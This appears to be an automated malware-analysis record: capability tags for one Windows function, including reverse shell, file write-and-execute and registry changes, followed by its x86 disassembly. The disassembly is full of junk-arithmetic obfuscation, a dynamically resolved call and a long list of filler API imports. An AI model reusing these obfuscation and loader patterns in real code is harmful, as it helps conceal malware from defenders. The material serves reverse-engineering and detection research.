Function at 0x429cd0
Capabilities:
Accept command line arguments
Allocate thread local storage
Clear file content
Create pipe
Create process on windows
Create reverse shell
Create thread
Delete file
Get common file path
Get file attributes
Get graphical window text
Get thread local storage value
Query environment variable
Query or enumerate registry value
Read file on windows
Read pipe
Resolve dns
Set environment variable
Set registry value
Set thread local storage value
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov dword [ebp - 0x4c], 0xffe5
mov dword [ebp - 4], 0x1efc
mov dword [ebp - 0x3c], 0x102af
mov dword [ebp - 0xc], 0xc71
mov dword [ebp - 0x2c], 0xbbd1
mov dword [ebp - 0x28], 0x1073f
mov dword [ebp - 0x38], 0x260
mov dword [ebp - 0x1c], 0x3029
mov dword [ebp - 0x18], 0x5c60
mov dword [ebp - 0x20], 0x16a5d
mov dword [ebp - 0x10], 0x1859e
mov dword [ebp - 0x24], 0x1573f
mov dword [ebp - 0x54], 0xfc34
mov dword [ebp - 8], 0x2851
mov dword [ebp - 0x40], 0x78c3
mov dword [ebp - 0x34], 0x12647
mov dword [ebp - 0x50], 0x18571
mov dword [ebp - 0x30], 0x34c1
mov dword [ebp - 0x14], 0x177c9
mov dword [ebp - 0x48], 0x8716
mov dword [ebp - 0x44], 0x229f
mov eax, dword [ebp - 0x34]
sub eax, 0x121b0
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x1c], ecx
jmp 0x429d8b
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x30]
jge 0x429f1e
mov ecx, dword [ebp - 0x44]
imul ecx, dword [ebp - 0x34]
test ecx, ecx
jne 0x429dae
mov edx, dword [ebp - 0x14]
xor edx, dword [ebp - 0x48]
je 0x429e4d
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x10]
jge 0x429e4d
mov ecx, dword [ebp - 0x44]
cmp ecx, dword [ebp - 0x2c]
jge 0x429e4d
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x28]
jge 0x429dda
mov dword [ebp - 0x84], 1
jmp 0x429de4
mov dword [ebp - 0x84], 0
mov eax, dword [ebp - 0x50]
xor eax, dword [ebp - 0x84]
je 0x429e4d
mov ecx, dword [ebp - 0x50]
sub ecx, 1
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x24]
jge 0x429e0c
mov dword [ebp - 0x88], 1
jmp 0x429e16
mov dword [ebp - 0x88], 0
mov eax, dword [ebp - 0x14]
xor eax, dword [ebp - 0x88]
je 0x429e29
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0x40]
jl 0x429e44
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x54]
jl 0x429e44
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x4c]
jge 0x429e4d
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x4c]
jge 0x429e4d
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x3c]
xor ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 0xc]
jl 0x429e71
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x18]
jge 0x429e7a
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0xc]
jge 0x429e7a
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x4c]
and edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 4]
jl 0x429e95
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x20]
jne 0x429e95
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x40]
jge 0x429e9e
mov edx, dword [ebp - 0x3c]
sub edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x18]
or eax, dword [ebp - 0x20]
mov dword [ebp - 0xa8], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0xa8], 0
je 0x429f19
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x34]
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0xac], 0
je 0x429ee2
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x20]
jl 0x429f10
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 0x40]
jge 0x429f08
mov eax, dword [ebp - 4]
and eax, dword [ebp - 0x10]
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0xb0], 0
jne 0x429f10
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0x24]
je 0x429f19
mov eax, dword [ebp - 0x14]
sub eax, 1
mov dword [ebp - 0x14], eax
jmp 0x429d82
mov ecx, dword [ebp - 0x38]
add ecx, 0x150
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x54]
add edx, dword [ebp - 0x38]
mov dword [ebp - 0x54], edx
jmp 0x429f3e
mov eax, dword [ebp - 0x54]
add eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x4c]
jge 0x42a250
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x34]
mov dword [ebp - 0xb4], edx
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0xb4], 0
je 0x42a154
mov ecx, dword [ebp - 0x18]
and ecx, dword [ebp - 0x20]
jne 0x429fa3
mov edx, dword [ebp - 0x44]
cmp edx, dword [ebp - 0x10]
jl 0x429fa3
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x14]
test eax, eax
je 0x42a154
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 8]
jge 0x42a154
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x40]
jge 0x42a154
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x30]
jge 0x42a154
mov edx, dword [ebp - 0xc]
and edx, dword [ebp - 0x10]
je 0x429fde
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp - 0x3c]
sub ecx, 1
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0xb8], 0
jne 0x429ff9
mov edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x50]
test edx, edx
je 0x42a154
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x18]
jge 0x42a154
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x24]
jge 0x42a154
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x34]
jge 0x42a154
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x48]
jl 0x42a083
mov ecx, dword [ebp - 0x44]
and ecx, dword [ebp - 4]
mov dword [ebp - 0xbc], ecx
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 0xbc], 0
je 0x42a154
mov eax, dword [ebp - 0x1c]
and eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x10]
jge 0x42a154
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xc0], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x3c]
sub eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0xc0]
cmp ecx, dword [ebp - 0xc4]
jge 0x42a154
mov edx, dword [ebp - 8]
and edx, dword [ebp - 0x40]
je 0x42a154
mov eax, dword [ebp - 0x40]
sub eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
or ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 4]
jge 0x42a154
mov edx, dword [ebp - 4]
and edx, dword [ebp - 0x28]
je 0x42a154
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x10]
jge 0x42a0bb
mov dword [ebp - 0x8c], 1
jmp 0x42a0c5
mov dword [ebp - 0x8c], 0
mov ecx, dword [ebp - 0x44]
xor ecx, dword [ebp - 0x8c]
je 0x42a154
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0xc]
jl 0x42a11f
mov ecx, dword [ebp - 0x48]
imul ecx, dword [ebp - 8]
mov dword [ebp - 0xc8], ecx
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
cmp dword [ebp - 0xc8], 0
je 0x42a154
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x20]
jge 0x42a154
mov ecx, dword [ebp - 0x20]
and ecx, dword [ebp - 4]
je 0x42a154
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x3c]
jge 0x42a154
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 4]
mov dword [ebp - 0xcc], eax
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0xd0], ecx
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0xd0]
jge 0x42a154
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 4]
jl 0x42a1a1
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 4]
jl 0x42a1a1
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x1c]
jl 0x42a1a1
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0xd4], edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x18]
sub edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0xd8]
jge 0x42a1aa
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 4]
jge 0x42a1bb
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0xc]
jge 0x42a1fb
mov edx, dword [ebp - 0x44]
xor edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x28]
jge 0x42a1fb
mov eax, dword [ebp - 0x30]
or eax, dword [ebp - 0x38]
je 0x42a1fb
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 4]
jge 0x42a1fb
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 4]
jge 0x42a1fb
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 4]
jl 0x42a231
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x24]
jge 0x42a242
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 8]
jge 0x42a242
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x50]
jge 0x42a242
mov eax, dword [ebp - 0x50]
sub eax, 1
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
jmp 0x429f35
mov edx, dword [ebp - 0x2c]
sub edx, 0x3da4
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
jmp 0x42a270
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x50]
jge 0x42a3eb
mov eax, dword [ebp - 0x4c]
or eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x20]
jge 0x42a28f
mov ecx, dword [ebp - 0x38]
and ecx, dword [ebp - 0x30]
jne 0x42a2a3
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x10]
jl 0x42a2a3
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x24]
jge 0x42a2ef
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x14]
jl 0x42a2d2
mov edx, dword [ebp - 0x3c]
sub edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x10]
jl 0x42a2d2
mov eax, dword [ebp - 0xc]
sub eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 4]
jl 0x42a2d2
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 0x1c]
jge 0x42a2ef
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x2c]
jl 0x42a2e6
mov ecx, dword [ebp - 0xc]
imul ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x18]
jge 0x42a2ef
mov edx, dword [ebp - 0x30]
sub edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x44]
jge 0x42a3c2
mov ecx, dword [ebp - 0x38]
sub ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x38]
jge 0x42a3c2
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
or ecx, dword [ebp - 0x30]
mov dword [ebp - 0xdc], ecx
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0xdc], 0
jne 0x42a37c
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jge 0x42a347
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x40]
jl 0x42a37c
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x38]
jl 0x42a37c
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x24]
mov dword [ebp - 0xe0], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0x48]
sub edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0xe4]
jge 0x42a3c2
mov ecx, dword [ebp - 0x30]
xor ecx, dword [ebp - 0x48]
jne 0x42a3b9
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x10]
je 0x42a3c2
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x38]
je 0x42a3c2
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
jge 0x42a3c2
mov ecx, dword [ebp - 0x54]
and ecx, dword [ebp - 0x18]
je 0x42a3c2
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
jmp 0x42a267
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0xe8]
cmp ecx, dword [ebp - 0xec]
jl 0x42a45b
mov edx, dword [ebp - 0x4c]
and edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x2c]
jl 0x42a45b
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x2c]
test eax, eax
je 0x42a464
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x20]
jge 0x42a464
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x54]
jge 0x42a446
mov dword [ebp - 0x90], 1
jmp 0x42a450
mov dword [ebp - 0x90], 0
mov eax, dword [ebp - 0x18]
xor eax, dword [ebp - 0x90]
je 0x42a464
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [0x7c423c], 0
jne 0x42a4a9
push 0x8a62
push 0xd31c
push 0xba59
push 0xf8f4
push 0x7e4e
push 0x3b9a
push 0x56fc
push 0xb760
call fcn.00416570
add esp, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x7c423c], eax
call fcn.00428670
mov edx, dword [0x7c4250]
push edx
mov eax, dword [0x7c4240]
push eax
mov ecx, dword [0x7c424c]
push ecx
mov edx, dword [0x7c4238]
push edx
mov eax, dword [0x7c423c]
push eax
push 0xcab8
push 0x4e90
push 0x20b0
push 0xde83
push 0xaf8a
push 0x6c83
push 0x1f67
call fcn.004054e0
add esp, 0x1c
push eax
mov ecx, dword [0x7c423c]
push ecx
call fcn.0042aeb0
add esp, 8
call eax
test eax, eax
je 0x42ad22
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x4c]
jge 0x42a543
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 4]
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 0xf0], 0
jne 0x42a557
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x14]
jl 0x42a557
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x2c]
jge 0x42a5e6
mov edx, dword [ebp - 8]
sub edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 8]
jge 0x42a5e6
mov ecx, dword [ebp - 4]
or ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x28]
jge 0x42a5e6
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x3c]
jge 0x42a5e6
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x24]
jge 0x42a58e
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0xc]
jl 0x42a5dd
mov edx, dword [ebp - 0xc]
xor edx, dword [ebp - 0x2c]
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0xf4], 0
jne 0x42a5dd
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xf8], ecx
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0xf8]
cmp ecx, dword [ebp - 0xfc]
jge 0x42a5e6
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x4c]
jge 0x42a5e6
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
cmp dword [0x7c423c], 0
je 0x42ad22
mov dword [ebp - 0x108], 0x1528f
mov dword [ebp - 0x80], 0x526f
mov dword [ebp - 0x70], 0xb913
mov dword [ebp - 0x5c], 0x16ae
mov dword [ebp - 0x78], 0x3f48
mov dword [ebp - 0x138], 0x7b9a
mov dword [ebp - 0x64], 0x8b94
mov dword [ebp - 0x58], 0x15bbf
mov dword [ebp - 0x60], 0x8265
mov dword [ebp - 0x13c], 0x2e7a
mov dword [ebp - 0x7c], 0x8ee4
mov dword [ebp - 0x10c], 0xb8b2
mov dword [ebp - 0x140], 0xc63
mov dword [ebp - 0x118], 0x116a0
mov dword [ebp - 0x104], 0xa3cc
mov dword [ebp - 0x100], 0x14d5e
mov dword [ebp - 0x11c], 0x624d
mov dword [ebp - 0x120], 0x7b1
mov dword [ebp - 0x6c], 0x7c9c
mov dword [ebp - 0x144], 0x12da0
mov dword [ebp - 0x68], 0x34f6
mov dword [ebp - 0x74], 0x17769
mov ecx, dword [ebp - 0x6c]
add ecx, 1
mov dword [ebp - 0x6c], ecx
call fcn.00426150
mov edx, dword [ebp - 0x58]
sub edx, 0x99f6
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0x64], eax
jmp 0x42a6dc
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x100]
jge 0x42a838
mov eax, dword [ebp - 0x70]
sub eax, 1
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x104]
add ecx, dword [ebp - 0x58]
jne 0x42a739
mov edx, dword [ebp - 0x68]
sub edx, dword [ebp - 0x6c]
jne 0x42a739
mov eax, dword [ebp - 0x7c]
sub eax, 1
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x7c]
cmp ecx, dword [ebp - 0x78]
jge 0x42a724
mov dword [ebp - 0x94], 1
jmp 0x42a72e
mov dword [ebp - 0x94], 0
mov edx, dword [ebp - 0x5c]
xor edx, dword [ebp - 0x94]
je 0x42a742
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 0x5c]
jge 0x42a756
mov dword [ebp - 0x98], 1
jmp 0x42a760
mov dword [ebp - 0x98], 0
mov edx, dword [ebp - 0x74]
and edx, dword [ebp - 0x98]
je 0x42a7b9
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x70]
jge 0x42a7b9
mov ecx, dword [ebp - 0x108]
add ecx, dword [ebp - 0x10c]
cmp ecx, dword [ebp - 0x5c]
jge 0x42a7b9
mov edx, dword [ebp - 0x68]
add edx, 1
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x60]
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x60]
add edx, 1
mov dword [ebp - 0x60], edx
mov eax, dword [ebp - 0x110]
cmp eax, dword [ebp - 0x114]
jl 0x42a7c7
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x11c]
jge 0x42a7d8
mov edx, dword [ebp - 0x78]
cmp edx, dword [ebp - 0x6c]
jge 0x42a7d8
mov eax, dword [ebp - 0x60]
sub eax, 1
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x70]
cmp ecx, dword [ebp - 0x5c]
jge 0x42a7ec
mov dword [ebp - 0x9c], 1
jmp 0x42a7f6
mov dword [ebp - 0x9c], 0
mov edx, dword [ebp - 0x120]
xor edx, dword [ebp - 0x9c]
je 0x42a821
mov eax, dword [ebp - 0x74]
sub eax, 1
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x74]
and ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 0x60]
jge 0x42a821
mov edx, dword [ebp - 0x58]
add edx, 1
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x78]
add ecx, 1
mov dword [ebp - 0x78], ecx
jmp 0x42a6d3
call fcn.00425ec0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
call dword [sym.imp.KERNEL32.dll_GetACP]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call dword [sym.imp.USER32.dll_GetDlgItem]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
call dword [sym.imp.USER32.dll_DestroyMenu]
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [sym.imp.USER32.dll_CreateWindowExA]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
call dword [sym.imp.CRYPT32.dll_CryptQueryObject]
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
call dword [sym.imp.USER32.dll_GetMessageA]
call dword [sym.imp.CRYPT32.dll_CertFindCertificateInStore]
call dword [sym.imp.KERNEL32.dll_AttachConsole]
call dword [sym.imp.KERNEL32.dll_CreateThread]
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
call dword [sym.imp.USER32.dll_DefWindowProcA]
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
call dword [sym.imp.USER32.dll_FrameRect]
call dword [sym.imp.USER32.dll_ModifyMenuA]
call dword [sym.imp.KERNEL32.dll_CreateEventA]
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
call dword [sym.imp.USER32.dll_SetTimer]
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
call dword [sym.imp.USER32.dll_GetWindowRect]
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
call dword [sym.imp.USER32.dll_TranslateMessage]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.USER32.dll_GetCursorPos]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.KERNEL32.dll_CreatePipe]
call dword [sym.imp.USER32.dll_DispatchMessageA]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.USER32.dll_GetPropA]
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.USER32.dll_SetWindowTextA]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.USER32.dll_GetWindowLongA]
call dword [sym.imp.USER32.dll_DestroyIcon]
call dword [sym.imp.KERNEL32.dll_CompareStringW]
call dword [sym.imp.COMCTL32.dll__TrackMouseEvent]
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call dword [sym.imp.USER32.dll_TranslateAcceleratorA]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
call dword [sym.imp.KERNEL32.dll_SetEvent]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
call dword [sym.imp.KERNEL32.dll_UnregisterWaitEx]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.ole32.dll_CoCreateInstance]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call dword [sym.imp.USER32.dll_RemovePropA]
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.USER32.dll_SetPropA]
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
call dword [sym.imp.USER32.dll_IsWindowVisible]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.COMCTL32.dll_ImageList_Create]
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.USER32.dll_DestroyWindow]
